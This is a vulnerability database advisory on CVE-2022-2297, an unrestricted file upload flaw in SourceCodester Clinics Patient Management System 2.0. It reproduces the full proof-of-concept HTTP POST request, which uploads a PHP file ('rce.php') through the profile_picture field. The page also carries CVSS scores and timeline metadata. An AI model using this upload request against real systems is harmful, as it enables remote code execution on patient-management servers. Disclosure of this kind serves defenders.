SourceCodester Clinics Patient Management System 2.0 update_user.php?user_id=1 profile_picture unrestricted upload
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 6.9 | $0-$5k | 0.67 |
Summary
A vulnerability labeled as critical has been found in SourceCodester Clinics Patient Management System 2.0. This affects an unknown function of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input <?php phpinfo();?> results in unrestricted upload.
This vulnerability was named CVE-2022-2297. The attack may be performed from remote. In addition, an exploit is available.
Details
A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0 (Hospitality Software). Affected is an unknown part of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input value <?php phpinfo();?> leads to a unrestricted upload vulnerability. CWE is classifying the issue as CWE-434. The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. This is going to have an impact on confidentiality, integrity, and availability.
The weakness was presented 07/04/2022. The advisory is available at github.com. This vulnerability is traded as CVE-2022-2297. Technical details and a public exploit are known. This vulnerability is assigned to T1608.002 by the MITRE ATT&CK project.
The exploit is shared for download at github.com. It is declared as proof-of-concept. The code used by the exploit is:
POST /pms/update_user.php?user_id=1 HTTP/1.1 Host: localhost Content-Length: 828 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/pms/update_user.php?user_id=1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9 Connection: close ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="hidden_id" 1 ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="display_name" Administrator ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="username" admin ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="password" ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="profile_picture"; filename="rce.php" Content-Type: application/octet-stream <?php phpinfo();?> ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="save_user" ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
If you want to get best quality of vulnerability data, you may have to visit VulDB.
Product
Type
Vendor
Name
Version
License
Website
- Vendor: https://www.sourcecodester.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 7.1VulDB Meta Temp Score: 6.9
VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 8.8
NVD Vector: 🔍
CNA Base Score: 6.3
CNA Vector (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Unrestricted uploadCWE: CWE-434 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
07/04/2022 🔍07/04/2022 🔍
07/04/2022 🔍
09/07/2024 🔍
Sources
Vendor: sourcecodester.comAdvisory: github.com
Status: Not defined
CVE: CVE-2022-2297 (🔍)
GCVE (CVE): GCVE-0-2022-2297
GCVE (VulDB): GCVE-100-203178
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 07/04/2022 07:12Updated: 09/07/2024 15:18
Changes: 07/04/2022 07:12 (41), 07/04/2022 07:13 (4), 07/18/2022 14:55 (2), 07/18/2022 14:58 (28), 09/07/2024 15:18 (15)
Complete: 🔍
Submitter: cyberthoth
Cache ID: 216::103
Submit
Accepted
- Submit #40500: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE) (by cyberthoth)
Duplicate
If you want to get best quality of vulnerability data, you may have to visit VulDB.
No comments yet. Languages: en.
Please log in to comment.